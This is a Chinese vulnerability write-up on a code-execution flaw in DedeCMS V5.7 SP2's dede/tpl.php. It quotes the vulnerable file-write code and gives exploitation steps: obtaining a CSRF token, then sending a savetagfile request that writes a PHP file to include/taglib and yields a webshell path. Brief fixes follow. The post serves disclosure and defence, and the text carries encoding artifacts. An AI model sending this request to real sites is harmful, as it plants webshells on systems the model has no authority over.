DedeCMS V5.7 SP2版本中tpl.php存在代碼執(zhí)行漏洞,攻擊者可利用該漏洞在增加新的標(biāo)簽中上傳木馬,獲取webshell。筆者是2018年2月28日在官網(wǎng)下載的DedeCMS V5.7 SP2版本程序,截至發(fā)稿,漏洞依然存在。
漏洞詳情
織夢(mèng)默認(rèn)的后臺(tái)地址是/dede/,當(dāng)然也可以被更改,到時(shí)候根據(jù)網(wǎng)站具體情況替換默認(rèn)后臺(tái)地址即可。
dede/tpl.php中第251行到281行
csrf_check();
if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename))
{
ShowMsg('文件名不合法,不允許進(jìn)行操作!', '-1');
exit();
}
require_once(DEDEINC.'/oxwindow.class.php');
$tagname = preg_replace("#\.lib\.php$#i", "", $filename);
$content = stripslashes($content);
$truefile = DEDEINC.'/taglib/'.$filename;
$fp = fopen($truefile, 'w');
fwrite($fp, $content);
fclose($fp); |
1.由于dedecms全局變量注冊(cè)的特性,所以這里的content變量和filename變量可控。 2.可以看到將content直接寫(xiě)入到文件中導(dǎo)致可以getshell。但是這里的文件名經(jīng)過(guò)正則表達(dá)式,所以必須要.lib.php結(jié)尾。 |
注意: 這里還有一個(gè)csrf_check()函數(shù),即請(qǐng)求中必須要帶token參數(shù)。
漏洞利用
1.首先獲取token 訪(fǎng)問(wèn) 域名 + /dede/tpl.php?action=upload。在頁(yè)面源代碼中獲取到token值
然后訪(fǎng)問(wèn) :
域名 + /dede/tpl.php?filename=moonsec.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=[你的token值 |
shell:域名 + /include/taglib/moonsec.lib.php
漏洞修復(fù)
1.禁止/include/taglib/此處寫(xiě)入文件。
2.過(guò)濾惡意標(biāo)簽
3.刪除dede/tpl.php 文件